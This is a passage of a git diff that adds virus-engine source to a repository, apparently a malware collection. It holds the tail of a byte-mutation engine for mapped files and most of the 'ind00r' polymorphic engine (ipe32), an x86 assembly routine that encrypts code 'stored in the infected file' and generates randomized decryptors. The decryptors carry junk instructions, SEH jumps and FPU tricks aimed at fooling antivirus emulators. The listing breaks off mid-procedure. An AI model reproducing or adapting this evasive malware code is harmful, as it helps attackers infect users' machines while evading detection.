esi, [change_byte_offset] ; esi=Offset of changing + mov edi, [change_byte_offset] ; edi=offset of changing + add edi, eax ; edi=Offset after changing + + chrom_trans_buffer: ; Delete the Code-Part + mov al, [esi+ecx] ; al=Value to Replace + mov [edi+ecx], al ; Save al + loop chrom_trans_buffer + +; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0 +jmp endofmutation + +chrom_delection: + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 + cmp eax, ebx ; comparee Random number with Filesize + jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; Add the offset of file memory + mov [change_byte_offset], eax ; Save the pointer + + call random_number ; Get a random number + xor ecx, ecx ; ecx=0 + mov cl, [rand_name_buffer] ; cl=random number + and cl, 7 ; cl=0000 0??? + mov [change_byte_value], cl ; Save the random number + + mov ecx, [file_size] ; eax=filesize + add ecx, [map_pointer] ; eax=End of file in memory + sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset + + mov esi, [change_byte_offset] ; esi=Pointer to change byte + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=number of bytes to change + add esi, eax ; esi=Pointer to end of changing in memory + + mov edi, [change_byte_offset] ; edi=Offset of changing + rep movsb + +; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0 +jmp endofmutation + +chrom_dublication: + invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size + invoke CloseHandle, [map_handle] ; Close Map-Handle + + call random_number ; Get a random number + xor ecx, ecx ; ecx=0 + mov cl, [rand_name_buffer] ; cl=random number + and cl, 7 ; cl=0000 0??? + mov [change_byte_value], cl ; Save the random number + + add ecx, [file_size] ; ecx=New filesize + mov [file_size], ecx ; Save new filesize + invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 + mov [map_handle], eax + + invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] + mov [map_pointer], eax + + chrom_dubl_loop1: + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 + cmp eax, ebx ; comparee Random number with Filesize + jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; eax=Pointer to changing part + mov [change_byte_offset], eax ; Save the offset + + mov ecx, [map_pointer] ; ecx=Start of file in memory + add ecx, [file_size] ; ecx=End of file in memory + + sub ecx, [change_byte_offset] ; ecx=Bytes after change-place + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=number of bytes to change + sub ecx, eax ; ecx-=number of bytes to change + + mov esi, [change_byte_offset] ; esi=Offset of changing + mov edi, [change_byte_offset] ; edi=offset of changing + add edi, eax ; edi=Offset after changing + + chrom_dubl_buffer: ; Make a buffer + mov al, [esi+ecx] ; al=Value to Replace + mov [edi+ecx], al ; Save al + loop chrom_dubl_buffer + + xor ecx, ecx ; ecx=0 + mov cl, [change_byte_value] ; ecx=lenght of string to dublicate + mov esi, [change_byte_offset] ; From + mov edi, [change_byte_offset] ; To + add edi, ecx ; Offset of buffer + rep movsb + +; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0 +jmp endofmutation + + +chrom_inseration: + invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size + invoke CloseHandle, [map_handle] ; Close Map-Handle + + call random_number ; Get a random number + xor ecx, ecx ; ecx=0 + mov cl, [rand_name_buffer] ; cl=random number + and cl, 7 ; cl=0000 0??? + mov [change_byte_value], cl ; Save the random number + + add ecx, [file_size] ; ecx=New filesize + mov [file_size], ecx ; Save new filesize + invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 + mov [map_handle], eax + + invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] + mov [map_pointer], eax + + chrom_inser_loop1: + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 + cmp eax, ebx ; comparee Random number with Filesize + jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; eax=Pointer to changing part + mov [change_byte_offset], eax ; Save the offset + + mov esi, [change_byte_offset] ; esi=Offset to get the new part + mov edi, rand_name_buffer ; edi=where to save + xor ecx, ecx ; ecx=0 + mov cl, [change_byte_value] ; ecx=How many bytes + rep movsb ; Save the part. + + chrom_inser_loop2: + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 + cmp eax, ebx ; Compare Random number with Filesize + jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; eax=Pointer to changing part + mov [change_byte_offset], eax ; Save the offset + + mov ecx, [map_pointer] ; ecx=Start of file in memory + add ecx, [file_size] ; ecx=End of file in memory + + sub ecx, [change_byte_offset] ; ecx=Bytes after change-place + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=number of bytes to change + sub ecx, eax ; ecx-=number of bytes to change + + mov esi, [change_byte_offset] ; esi=Offset of changing + mov edi, [change_byte_offset] ; edi=offset of changing + add edi, eax ; edi=Offset after changing + + chrom_inser_buffer: ; Make a buffer + mov al, [esi+ecx] ; al=Value to Replace + mov [edi+ecx], al ; Save al + loop chrom_inser_buffer + + mov esi, rand_name_buffer ; esi=source + mov edi, [change_byte_offset] ; edi=destination + xor ecx, ecx ; ecx=0 + mov cl, [change_byte_value] ; ecx=length + rep movsb ; Write saved part to the new place + +; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0 +jmp endofmutation + +.end start \ No newline at end of file diff --git a/Engines/Virus.Win32.Ipe32.txt b/Engines/Virus.Win32.Ipe32.txt new file mode 100644 index 00000000..17ec0993 --- /dev/null +++ b/Engines/Virus.Win32.Ipe32.txt @@ -0,0 +1,2812 @@ +; Ŀ +; Ŀ +; ׿ +; ص +; ״ +; ε ind00r poly engine (ipe32) v1.0 final ε +; ״ +; ε ε +; ״ 04.01.01 Ĵ by slurp ״ +; ε ε +; ״ +; ص +; ٳ +; +; +RANDOM_SEED equ 0BABAh * 65536 + 0BABEh +MAX_POLY_SIZE equ 3072 +; main procedure: ind00r +; parameters: +; +; EAX = size of junk space (in dwords) +; EDX = address of junk space +; Ŀ this is the RVA of an empty space in (un- +; initialized data or padding space). the junk +; instructions will write to this area +;  +; +; EBX = address of code to decrypt +; Ŀ this is the RVA where the encrypted +; code will be stored in the infected file. +;  +; +; ECX = size of code to encrypt (in dwords) +; ESI  code to encrypt +; EDI  area >= 2kb to store the decryptor +; +; returns: the registers aren't changed except ECX that contains +; the size of the poly decryptor! +; +; NOTE: '' is equal to 'points to' +; +; the decryptor constists of junk procedures, decryptor procedures, main +; loop calling the procedures and finally jump to the start address to the +; decrypted code. +ind00r proc + pushad ; preserve all registers + call iInit ; initialize poly engine +ind00r_delta: mov al, JMP_LONG ; write jump to main loop + stosb ; store opcode + push edi ; to reloc jmp l8er + stosd ; store relative offset + call WriteJunk ; write some junk bytez + call iGenProcs ; generate procedures + push edi ; here we want to jump + call RelLongJmp ; reloc jump to main loop + or byte ptr [ebp.nojunk-idelta], 0FFh + call iGenLoop ; generate main loop + call iSEHJump + sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size + mov [esp.PUSHAD_ECX], edi ; ECX = size + call iEncrypt ; encrypt code! + popad ; restore all registers + ret ; return +ind00r endp +; main procedure: init +iInit proc + ; first of all, calculate new delta offset + mov ebp, [esp] + add ebp, idelta - offset ind00r_delta ; calculate delta + ; offset + ; now init random seed + push dword ptr [ebp.RandomConst-idelta] + pop dword ptr [ebp.RandomSeed-idelta] + + push edi ; push destination index + lea edi, [ebp.InitValues-idelta] ; table with init values + + ; let's store parameterz + stosd ; store size of junk space + xchg eax, edx + stosd ; store address of junk space + xchg eax, ebx + stosd ; store decrypt rva + xchg eax, ecx + stosd ; size of code + xchg eax, esi + stosd ; address of code + + ; mix the registers + lea esi, [ebp.preg-idelta] + push USED_REGS + call MixBytes + + ; get number of junk procedures (1 - 5) + push JUNK_PROCS ; 0 - 3 + call rnd32r + add al, MIN_PROCS + mov [ebp.ProcCount-idelta], al ; number of procedures + + ; put the procedures in random order + lea esi, [ebp.ProcedureOrder-idelta] + push eax + call MixBytes + + ; put procedure calls in random order + lea esi, [ebp.CallOrder1-idelta] + push CALL_ORDER_1 + call MixBytes + + lea esi, [ebp.CallOrder2-idelta] + mov ecx, eax + sub al, CALL_ORDER_2 + 1 + push eax + call MixBytes + + ; get random parameter count for each procedure + lea edi, [ebp.ProcParameters-idelta] + mov cl, MAX_PROCS +i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2 + call rnd32r + sub al, 02h + jnc i_lamest + xor eax, eax +i_lamest: stosb + loop i_par_loop + xor eax, eax + stosb + + ; get random key, encryption & key increment type + lea edi, [ebp.CryptKey-idelta] + call rnd32 + stosd ; write key + call rnd32 + stosd ; write key increment + push ENC_RND + call rnd32r + stosb ; write encryption type + push KEY_RND + call rnd32r + stosb ; write key increment type + pop edi ; pop destination index + and word ptr [ebp.InLoop-idelta], 00h + ret +iInit endp +; main procedure: encrypt +iEncrypt proc + pushad + lea esi, [ebp.CryptSize-idelta] + lodsd ; CryptSize + xchg eax, ebx + lodsd ; EncryptRVA + xchg eax, edi + lodsd ; CryptKey + xchg eax, ecx + lodsd ; KeyIncrement + xchg eax, edx + +encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type + cmp al, ENC_XOR ; XOR encryption? + jnz ie_not_xor ; no, check next + xor [edi], ecx ; yes, XOR [preg], key +ie_not_xor: cmp al, ENC_ADD ; ADD decryption? + jnz ie_not_add ; no, check next + sub [edi], ecx ; yes, SUB [preg], key +ie_not_add: cmp al, ENC_SUB ; SUB decryption? + jnz ie_not_sub ; no, check next + add [edi], ecx ; yes, ADD [preg, key +ie_not_sub: cmp al, ENC_ROL ; ROL decryption? + jnz ie_not_rol ; no, check next + ror dword ptr [edi], cl ; rotate dword +ie_not_rol: cmp al, ENC_ROR ; ROR decryption? + jnz ie_not_ror ; no, jmp to key increment + rol dword ptr [edi], cl ; rotate dword +ie_not_ror: xchg ecx, edx + mov al, [ebp.KeyIncType-idelta] ; get key increment type + cmp al, KEY_ROL ; ROL key increment? + jnz ie_n_rol ; no, check next + rol edx, cl ; rotate key +ie_n_rol: cmp al, KEY_ROR ; ROR key increment? + jnz ie_n_ror ; no, check next + ror edx, cl ; rotate key +ie_n_ror: cmp al, KEY_INC ; ADD key increment? + jnz ie_n_inc ; no, check next + add edx, ecx ; increment key +ie_n_inc: cmp al, KEY_DEC ; SUB key increment? + jnz ie_n_dec ; no + sub edx, ecx ; decrement key +ie_n_dec: xchg ecx, edx + scasd ; increment pointer by 4 + dec ebx + jnz encrypt_loop + popad + ret +iEncrypt endp +; main generator: generate procedure body and some junk around the real +; instructions. +iGenProcs proc + ; get number of procedures into counter + movzx ecx, byte ptr [ebp.ProcCount-idelta] + xor ebx, ebx ; set up another counter that counts from 0 + + ; for choosin' procedures + call rnd32 + xchg dh, al + +gp_loop: push ecx + ; getting number of current procedure + push ebx + movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx] + ; ID # of 1st procedure + mov [ebp.CurrentProc-idelta], bl ; for junk gen to + ; identify current proc + ; store procedure address + mov [ebp.ProcAddress-idelta+4*ebx], edi + + ; get number of parameters + mov dl, [ebp.ProcParameters-idelta+ebx] + test dl, dl ; if no parameter, + jz gp_np_entry ; generate no entry + ; if procedure has parameters we need to set up EBP + ; choose between two (similar) entrys: + ; ENTER 0000h,00h + ; or + ; PUSH EBP + ; MOV EBP, ESP + test dh, 01h + jz gp_psh_entry + xor eax, eax ; no local variables + mov al, PROC_ENTER ; opcode for enter + stosd ; store instruction + jmp gp_np_entry +gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP) + stosd + dec edi ; wrote 3 bytes +gp_np_entry: push ebx + call iProcJunk + pop ebx + cmp ebx, JUNK_PROC + jnb gp_junk_proc + mov esi, [ebp.Generatorz-idelta+ebx*4] + add esi, ebp + push edx + call esi ; call di generator + pop edx +gp_junk_proc: call iProcJunk ; make some junk + + mov eax, edx + xor ah, ah + shl eax, 08h xor 02h ; shift left one byte + * 4 + xor al, PROC_RETP ; generate ret (with params) + test ah, ah ; do we have parameters? + jz gp_no_par + + mov byte ptr [edi], POP_REG or REG_EBP + test dh, 01h + jz gp_psh_exit + xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP) +gp_psh_exit: inc edi ; write pop ebp/leave + + stosd ; store RET opcode (C2h) + dec edi ; only store 3 bytes + jmp gp_par +gp_no_par: inc eax + stosb ; store RET opcode (C3h) + +gp_par: call WriteJunk + + pop ebx + inc ebx ; increment count + pop ecx + loop gp_loop + ret +iGenProcs endp +; generates main loop with some junk between callz. +iGenLoop proc + or byte ptr [ebp.InLoop-idelta], 01h + lea esi, [ebp.CallOrder1-idelta] + movsx ecx, byte ptr [ebp.ProcCount-idelta] + or byte ptr [ebp.CurrentProc-idelta], 0FFh +gl_call_lp: xor eax, eax + lodsb ; get numbah of proc + xchg eax, ebx + inc byte ptr [ebp.CurrentProc-idelta] + cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA + jne gl_yxcmv + push edi +gl_yxcmv: + push ecx + movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx] + push ebx + test ecx, ecx ; 0 parameterz? + jz gl_no_par ; don't loop +gl_push_lp: + call iPushJunk + loop gl_push_lp +gl_no_par: + pop ebx + mov edx, [ebp.ProcAddress-idelta+4*ebx] + mov byte ptr [edi], CALL_DIRECT ; write call opcode + inc edi + neg edi + lea eax, [edx+edi-04h] + neg edi + stosd + pop ecx ; outer loop counter + loop gl_call_lp + mov bl, [ebp.creg-idelta] ; generate check if counter + call gCheckReg ; reg is zero + mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h) + stosw ; generate JNZ + pop eax + neg edi + lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h) + neg edi + stosd ; store jump offset + ret +iGenLoop endp +; generate jump to code +iSEHJump proc + mov edx, [ebp.DecryptRVA-idelta] ; where to jump after + ; decryption + + ; 1. let's put offset to code on stack + + call rnd32 + test al, 01h + jz isj_npd + + ; generate PUSH offset CODE + mov al, PUSH_IMM ; push 32-bit immediate + stosb + xchg eax, edx + stosd ; immediate value + jmp isj_npd0 + + ; load reg with value and push reg +isj_npd: call rnd32 + and al, REG_EDI + cmp al, REG_ESP + je isj_npd + xchg eax, ebx + push ebx + call gLoadReg + pop eax + xor al, PUSH_REG + stosb + + ; 2. let's clear a reg to index fs:[0] + +isj_npd0: ; get a random register & clear it + call rnd32 + and al, REG_EDI + cmp al, REG_ESP + je isj_npd0 + mov ebx, eax + call gClearReg + xchg eax, ecx + + ; 3. put da old handler on stack + + mov al, OVERRIDE_FS + stosb + xor ch, ch + xor esi, esi + call rnd32 + test al, 01h + jz isj_dir + mov bh, OPTYPE_MOV + call rnd32 + and al, 02h + add bh, al +isj_gnr: call rnd32 + and al, REG_EDI + cmp al, cl + je isj_gnr + mov bl, al + mov al, OPSIZE_32 + mov ah, REG_MEM + call ciOpRMReg + xchg eax, ebx + xor al, PUSH_REG + stosb + jmp isj_dir0 +isj_dir: mov al, OP_GROUP5 + stosb + mov bl, P_PUSH + call ciCreateOperand +isj_dir0: + ; 4. now set new handler to ESP + + mov al, OVERRIDE_FS + stosb + mov bx, REG_ESP xor (OPTYPE_MOV * 100h) + mov ax, OPSIZE_32 xor (MEM_REG * 100h) + call ciOpRMReg + + ; 5. let's create some junk that causes exception + + push 03h + pop ecx +ex_junk_loop: push ecx + push OPTYPE_CMP + call rnd32r + xchg eax, ebx + call rnd32 + test al, 01h + jz isj_suck + mov bh, bl + call rnd32 + and al, REG_EDI + mov bl, al + push 03h + call rnd32r + mov ah, MEM_REG + call ciOpRMReg + jmp isj_suck0 +isj_suck: call rnd32 + xchg eax, edx + push 03h + call rnd32r + call ciOpRMImm + +isj_suck0: pop ecx + loop ex_junk_loop + ret +iSEHJump endp +; load start RVA into pointer register +iProcLdPtr proc + mov edx, [ebp.DecryptRVA-idelta] + mov bl, [ebp.preg-idelta] + jmp gLoadReg +iProcLdPtr endp +; load size into counter register +iProcLdCnt proc + mov edx, [ebp.CryptSize-idelta] + mov bl, [ebp.creg-idelta] + jmp gLoadReg +iProcLdCnt endp +; load key into key register +iProcLdKey proc + mov edx, [ebp.CryptKey-idelta] + mov bl, [ebp.kreg-idelta] + jmp gLoadReg +iProcLdKey endp +; decrypt data word +iProcDecData proc + mov cl, [ebp.preg-idelta] ; operand = ptr reg + call rnd32 ; get random bit + mov bl, 08h + cmp byte ptr [ebp.CryptType-idelta], ENC_SUB + jbe dd_not_chk_ecx + cmp cl, REG_ECX + jne dd_not_chk_ecx + or al, 01h ; set 1st bit +dd_not_chk_ecx: + test al, 01h ; is it zero? + jz blaaah ; yes, use direct encryption + + ; create MOV/XCHG junkreg, [preg] (indirect encryption) + +dd_get_jnk_reg: call iGetJunkReg + cmp al, REG_ECX ; is it ECX? + je dd_get_jnk_reg ; yes, use other junk reg + mov bl, al + xor al, MOD_REG + push eax ; push code reg for later use + mov bh, OPTYPE_MOV ; generate MOV + call rnd32 ; random numbah + and al, 02h + add bh, al ; zero, use MOV + ; non-zero, use XCHG + xor esi, esi ; no displacement + mov al, OPSIZE_32 ; dword, of course + mov ah, REG_MEM ; from memory to register + call ciOpRMReg + pop ecx + call iBlockJunkAR +blaaah: + ; test for encryption type + mov al, [ebp.CryptType-idelta] + cmp al, ENC_XOR + jnz dd_not_xor + mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg +dd_not_xor: cmp al, ENC_ADD + jnz dd_not_add + mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg +dd_not_add: cmp al, ENC_SUB + jnz dd_not_sub + mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg + +dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg + push ecx + mov al, OPSIZE_32 + mov ah, MEM_REG + mov bl, [ebp.kreg-idelta] + xor ch, ch + xor esi, esi + call ciOpRMReg + jmp dd_exit + + +dd_rotate: push ecx ; code reg/pointer reg + push eax + push ecx + + ; we'll generate + ; + ; shift on [preg]: + ; + ; push ecx (only if kreg <> ECX) + ; mov ecx, kreg ( " " " " " ) + ; ror [preg], cl (rol/ror) + ; pop ecx (only if kreg <> ECX) + ; + ; + ; shift on junkreg: (this variant is forced if preg = ECX) + ; + ; mov junkreg, [preg] (xchg/mov) + ; push ecx (only if kreg <> ECX) + ; mov ecx, kreg + ; ror junkreg, cl (rol/ror) + ; pop ecx + ; mov [preg], junkreg (xchg/mov) + ; + ; junkreg must not be ECX + + mov al, [ebp.kreg-idelta] ; load key register + + cmp al, REG_ECX ; ECX? + jz dd_no_push ; yes, no need to push ecx + + or al, MOD_REG + xchg eax, ecx + + push REG_ECX + call iIsJReg + cmp eax, 0FFFFFFFFh + jnz dd_ecx_isj + + mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX + stosb ; store opcode + pop ebx + call iBlockJunkAR + push ebx +dd_ecx_isj: xchg eax, edx + + mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG + call rnd32 + mov al, OPSIZE_32 + and ah, REG_MEM + jnz dd_nxchg + xchg bl, cl +dd_nxchg: + call ciOpRMReg ; generate mov ecx, kreg + +dd_askdjh: call iGetJunkReg + pop ebx + push ebx + and ebx, REG_EDI + cmp eax, ebx + je dd_askdjh + cmp al, REG_ECX + je dd_askdjh + xchg eax, ebx + call iRndJunk +dd_no_push: + pop ecx + pop eax + + mov bl, ROR_SHIFT ; shift type ROR + cmp al, ENC_ROR ; is it ROR? + jz dd_enc_ror ; yes, skip + dec ebx ; decrement shift type (ROL) +dd_enc_ror: + mov al, OPSIZE_32 + mov bh, SHIFT_CL + xor ch, ch ; no SIB addressin' + xor esi, esi + call ciShiftRM + + xchg eax, edx + cmp al, PUSH_REG xor REG_ECX + jnz dd_no_pop + pop ebx + push ebx + and ebx, REG_EDI + call iBlockJunkAR + xor al, PUSH_REG xor POP_REG + stosb +dd_no_pop: + +dd_exit: pop ebx ; pop code/ptr reg + mov eax, ebx + and al, MOD_REG + xor al, MOD_REG + jnz dd_not_save_reg + and ebx, REG_EDI + call iBlockJunkAR + mov cl, [ebp.preg-idelta] + mov bh, OPTYPE_MOV + call rnd32 + and al, 02h + add bh, al + mov ax, OPSIZE_32 or (MEM_REG * 100h) + xor ch, ch + xor esi, esi + call ciOpRMReg +dd_not_save_reg: + ret + +iProcDecData endp + +; increment key +iProcIncKey proc + mov edx, [ebp.KeyIncrement-idelta] ; load key increment + call iGetJunkReg ; get random junk reg + xchg eax, ecx + mov ebx, ecx + mov al, [ebp.KeyIncType-idelta] ; get key increment type + mov bh, OPTYPE_ADD ; first assume ADD + cmp al, KEY_DEC ; check if decrement key + jnz pik_not_sub ; nope, ADD + mov bh, OPTYPE_SUB ; yes, SUB +pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate! + + call rnd32 + test al, 01h + jz pik_direct ; don't load reg + + push ebx + call gLoadReg ; move key increment into reg + pop ebx + call iBlockJunkAR + xor bl, MOD_REG + mov cl, [ebp.kreg-idelta] ; get key reg + xor ecx, 0FFFFFF00h xor MOD_REG + push 02h + call rnd32r + test eax, eax + jz pik_blah + xchg bl, cl +pik_blah: + mov ah, al + mov al, OPSIZE_32 + jmp ciOpRMReg ; create instruction +pik_direct: + mov al, OPSIZE_32 + mov bl, bh + mov cl, [ebp.kreg-idelta] + or ecx, 0FFFFFF00h xor MOD_REG + + jmp ciOpRMImm + +pik_rotate: xor bl, bl ; ROL shift + cmp al, KEY_ROR + jnz pik_not_ror + inc ebx ; ROR shift + +pik_not_ror: mov ah, dl + and ah, 1Fh + mov bh, SHIFT_IMM + mov al, OPSIZE_32 + mov cl, [ebp.kreg-idelta] + xor cl, MOD_REG + call ciShiftRM + ret +iProcIncKey endp +; increment pointer by 4 +iProcIncPtr proc + push 04h ; we have 4 methods + call rnd32r ; to do so + mov cl, [ebp.preg-idelta] + xor cl, MOD_REG ; pointer reg, of course + push 04h + pop edx ; mov edx, 4 (optimized :P) + test al, al + jnz pip_not_add + mov bl, OPTYPE_ADD +pip_not_add: cmp al, 01h + jnz pip_not_sub + neg edx + mov bl, OPTYPE_SUB +pip_not_sub: cmp al, 02h + jnz pip_not_adc + mov bl, OPTYPE_ADC + dec edx + mov byte ptr [edi], SET_CRY + inc edi +pip_not_adc: cmp al, 03h + jnz pip_not_lea + + ; generate lea preg, [preg + 04h] + mov byte ptr [edi], LOAD_EA + inc edi + and cl, REG_RND - 1 + mov bl, cl + push esi + xchg edx, esi + xor ch, ch + call ciCreateOperand + pop esi + ret +pip_not_lea: mov al, OPSIZE_32 + jmp ciOpRMImm + ret +iProcIncPtr endp +; decrement counter +iProcDecCnt proc + push 05h + call rnd32r + mov cl, [ebp.creg-idelta] + or cl, MOD_REG + xor edx, edx + test al, al + jnz pdc_not_dec + + ; generate DEC creg + mov al, DEC_REG + or al, [ebp.creg-idelta] + stosb + ret +pdc_not_dec: cmp al, 01h + jnz pdc_not_add_FF + + ; generate ADD creg, -1 + mov bl, OPTYPE_ADD + dec edx +pdc_not_add_FF: cmp al, 02h + jnz pdc_not_sbb + + ; generate STC, SBB creg, 0 + mov byte ptr [edi], SET_CRY + inc edi + mov bl, OPTYPE_SBB + +pdc_not_sbb: cmp al, 03h + jnz pdc_not_lea + ; generate LEA creg, [creg - 1] + + mov byte ptr [edi], LOAD_EA + inc edi + and cl, REG_RND - 1 + mov bl, cl + push esi + xor esi, esi + dec esi + xor ch, ch + call ciCreateOperand + pop esi + ret + +pdc_not_lea: cmp al, 04h + jnz pdc_not_sub + ; generate SUB creg, 1 + mov bl, OPTYPE_SUB + inc edx + +pdc_not_sub: mov al, OPSIZE_32 + jmp ciOpRMImm +iProcDecCnt endp + +; fool some emulatorz +iProcFPUFool proc + + ; initialize FPU + mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h + stosd + dec edi + + ; choose random address to store result + call iGetWrMem + push GF_METHCNT ; choose between 4 methods + call rnd32r + push eax + inc eax + mov edx, eax + + ; store initial value in memory + mov al, OPSIZE_32 + mov bl, OPTYPE_MOV + call ciOpRMImm + + call iRndRegJ + + ; load dword from address into fpu register + call rnd32 + and al, FPU_WORD_LDST + or al, FPU_INT_LDST + mov bl, FPU_LOAD + stosb + call ciCreateOperand + + ; calculate address of method and execute it! + pop eax + push eax + mov ebx, [ebp.gf_methods-idelta+4*eax] + add ebx, ebp + call ebx + + ; write back dword from st(0) + call iGetWrMem + call rnd32 + and al, FPU_WORD_LDST xor FPU_INT_LDST + xor al, FPU_INT_LDST + mov bl, FPU_STORE + stosb + call ciCreateOperand + call iRndRegJ + + ; check returned value of FPU instructions. + + pop eax + push edi ; label1 in ECX (see below) + movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax] + push 03h + call rnd32r + add al, OPTYPE_SUB ; SUB, CMP or XOR + xchg eax, ebx + xor al, al + push edi + call ciOpRMImm + + ; if not equal, generate endless loop (fuck some emulatorz) + + ; generate JZ or JNZ + pop ebx + pop ecx + mov al, ah ; get another random byte + test al, 40h + jnz gf_as1 ; not zero, jump after junk + xchg ecx, ebx +gf_as1: + + call rnd32 ; random dword + and al, 01h + jz gf_el1 ; zero, generate JZ + + ; jump back before compare instruction or afta + ; + ; label1: + ; label2: CMP/SUB/XOR + ; JNZ label2/label3 + + xchg eax, ecx + mov byte ptr [edi], JMPC_SHORT xor COND_NZ + inc edi + sub eax, edi ; calculate relative offset + dec eax ; we need to dec rel + stosb ; write relative jmp offset + ret + +gf_el1: + ; + ; JZ label2/label3 + ; label1: + ; JMP label1 + ; label2: + ; label3: + ; + xchg eax, ecx + mov byte ptr [edi], JMPC_SHORT xor COND_Z + inc edi + push edi + inc edi + call iBlockJunk + mov byte ptr [edi], JMP_SHORT + inc edi + sub eax, edi + dec eax + stosb + push edi + call iBlockJunk + mov ebx, edi + pop ecx + mov al, ah ; get another random byte + test al, 20h + jnz gf_as2 + xchg ecx, ebx +gf_as2: xchg eax, ecx + pop eax + neg eax + lea ebx, [edi+eax-01] + neg eax + mov [eax], bl + +gf_xit: + ret + +gf_rslt_table db 03h, 07h, 02h, 00h + +gf_meth1: call rnd32 + and al, 01h + jz gf_meth11 + mov ax, FPU_LDPI + stosw + call iBlockJunk + mov al, FPU_WORD_OP + stosb + mov bl, FPU_MULP +gf_meth1e: mov cl, REG_ST1 or MOD_REG + jmp ciCreateOperand + +gf_meth11: mov ax, FPU_LDLG2 + stosw + call iBlockJunk + mov al, FPU_WORD_OP + stosb + mov bl, FPU_DIVP + jmp gf_meth1e + +gf_meth2: mov ax, FPU_LDL2T + stosw + call iBlockJunk + mov al, FPU_DWORD_OP + stosb + mov bl, FPU_MUL + mov cl, REG_ST1 or MOD_REG + jmp ciCreateOperand + + +gf_meth3: mov ax, FPU_LDLN2 + stosw + call iBlockJunk + mov ax, FPU_SQRT + stosw + mov al, FPU_QWORD_OP + stosb + mov bl, FPU_MUL + mov cl, REG_ST1 or MOD_REG + call ciCreateOperand + mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h)) + stosw + ret + +gf_methods equ $ + dd offset gf_meth1-idelta + dd offset gf_meth2-idelta + dd offset gf_meth3-idelta +GF_METHCNT equ 3 +iProcFPUFool endp +; main procedure: generate 1-3 different junk blockz +iProcJunk proc + push ecx ; preserve counter + push 03h ; get random number between 0 and 4 + call rnd32r + inc eax ; add 1 (1 - 3) + xchg eax, ecx ; load into counter + call iBlockJunk ; generate junk blocks + loop $ - 05h + pop ecx ; restore counter + ret +iProcJunk endp +; main procedure: generate 1 junk block +iBlockJunk proc + mov bl, 08h +iBlockJunkAR: ; avoid register in ebx + test byte ptr [ebp.nojunk-idelta], 0FFh + jz bj_sueder + ret +bj_sueder: + pushad + push BJ_BLOCKCNT ; choose between multiple methods + call rnd32r + mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of + add edx, ebp ; method procedure & relocate +bj_nxtr: call iGetJunkReg ; get a junk reg + cmp al, bl ; test if we shouldn't touch it + je bj_nxtr ; yes, get another junk reg + xchg ebx, eax ; junk reg in EAX + call edx ; execute method + mov [esp], edi + popad + ret + + ; junk block 1: + ; 1. + ; 2. + ; 3. <2 - 4 junk instructions> + ; 4. +bj_block1: push ebx ; save register 4 l8er use + mov dh, bl + mov bl, OPTYPE_SUB + call rnd32 ; get random number + and al, 02h ; 0/2 + add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP + call rnd32 + and al, 01h + mov dl, al ; dl = 0/1 (reg/junk) + test dl, dl + jz bj_b1_nreg1 + call rnd32 + and al, REG_EDI ; 00000xxx random reg + xor al, MOD_REG ; 11000xxx set reg bits + xchg eax, ecx + jmp bj_b1_nmem1 +bj_b1_nreg1: call iGetMemory ; get readable memory +bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not 